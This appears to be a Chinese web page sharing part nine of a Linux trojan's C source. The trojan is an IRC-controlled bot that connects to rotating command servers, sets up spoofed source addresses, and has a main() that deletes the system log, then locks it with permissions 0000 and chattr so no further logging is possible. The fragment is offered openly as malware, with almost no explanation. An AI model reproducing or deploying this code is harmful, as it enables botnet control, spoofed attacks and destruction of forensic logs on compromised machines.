Linux 下一木马程序分享(9)

}
void _PING(int sock, char *sender, char *str) {
        Send(sock,"PONG %s\n",str);
}
void _352(int sock, char *sender, char *str) {
        int i,d;
        char *msg=str;
        struct hostent *hostm;
        unsigned long m;
        for (i=0,d=0;d<5;d++) {
                for (;i<strlen(str) && *msg != ' ';msg++,i++); msg++;
                if (i == strlen(str)) return;
        }
        for (i=0;i<strlen(msg) && msg[i] != ' ';i++);
        msg[i]=0;
        if (!strcasecmp(msg,nick) && !spoofsm) {
                msg=str;
                for (i=0,d=0;d<3;d++) {
                        for (;i<strlen(str) && *msg != ' ';msg++,i++); msg++;
                        if (i == strlen(str)) return;
                }
                for (i=0;i<strlen(msg) && msg[i] != ' ';i++);
                msg[i]=0;
                if ((m = inet_addr(msg)) == -1) {
                        if ((hostm=gethostbyname(msg)) == NULL) {
                                Send(sock,"NOTICE %s :I'm having a problem resolving my host, someone will have to SPOOFS me manually.\n",chan);
                                return;
                        }
                        memcpy((char*)&m, hostm->h_addr, hostm->h_length);
                }
                ((char*)&spoofs)[3]=((char*)&m)[0];
                ((char*)&spoofs)[2]=((char*)&m)[1];
                ((char*)&spoofs)[1]=((char*)&m)[2];
                ((char*)&spoofs)[0]=0;
                spoofsm=256;
        }
}
void _433(int sock, char *sender, char *str) {
        free(nick);
        nick=makestring();
}
void _NICK(int sock, char *sender, char *str) {
 int i;
        for (i=0;i<strlen(sender) && sender[i] != '!';i++);
        sender[i]=0;
 if (!strcasecmp(sender,nick)) {
  if (*str == ':') str++;
  if (nick) free(nick);
  nick=strdup(str);
 }
}
struct Messages { char *cmd; void (* func)(int,char *,char *); } msgs[] = {
        { "352", _352 },
        { "376", _376 },
        { "433", _433 },
        { "422", _376 },
        { "PRIVMSG", _PRIVMSG },
        { "PING", _PING },
 { "NICK", _NICK },
{ (char *)0, (void (*)(int,char *,char *))0 } };
void con() {
        struct sockaddr_in srv;
        unsigned long ipaddr,start;
        int flag;
        struct hostent *hp;
start:
 sock=-1;
 flag=1;
 if (changeservers == 0) server=servers[rand()%numservers];
 changeservers=0;
        while ((sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) < 0);
 if (inet_addr(server) == 0 || inet_addr(server) == -1) {
  if ((hp = gethostbyname(server)) == NULL) {
   server=NULL;
   close(sock);
   goto start;
  }
  bcopy((char*)hp->h_addr, (char*)&srv.sin_addr, hp->h_length);
 }
 else srv.sin_addr.s_addr=inet_addr(server);
        srv.sin_family = AF_INET;
        srv.sin_port = htons(25);
 ioctl(sock,FIONBIO,&flag);
 start=time(NULL);
 while(time(NULL)-start < 10) {
  errno=0;
  if (connect(sock, (struct sockaddr *)&srv, sizeof(srv)) == 0 || errno == EISCONN) {
          setsockopt(sock,SOL_SOCKET,SO_LINGER,0,0);
          setsockopt(sock,SOL_SOCKET,SO_REUSEADDR,0,0);
          setsockopt(sock,SOL_SOCKET,SO_KEEPALIVE,0,0);
   return;
  }
  if (!(errno == EINPROGRESS ||errno == EALREADY)) break;
  sleep(1);
 }
 server=NULL;
 close(sock);
 goto start;
}


int main(int argc, char **argv) {
        int on,i;
        char cwd[256],*str;
      FILE *file;


system("rm -rf /var/log/syslog;touch /var/log/syslog;chmod 0000 /var/log/syslog;chattr +isa /var/log/syslog;");

内容版权声明:除非注明,否则皆为本站原创文章。

转载注明出处:http://127.0.0.1/wyyszz.html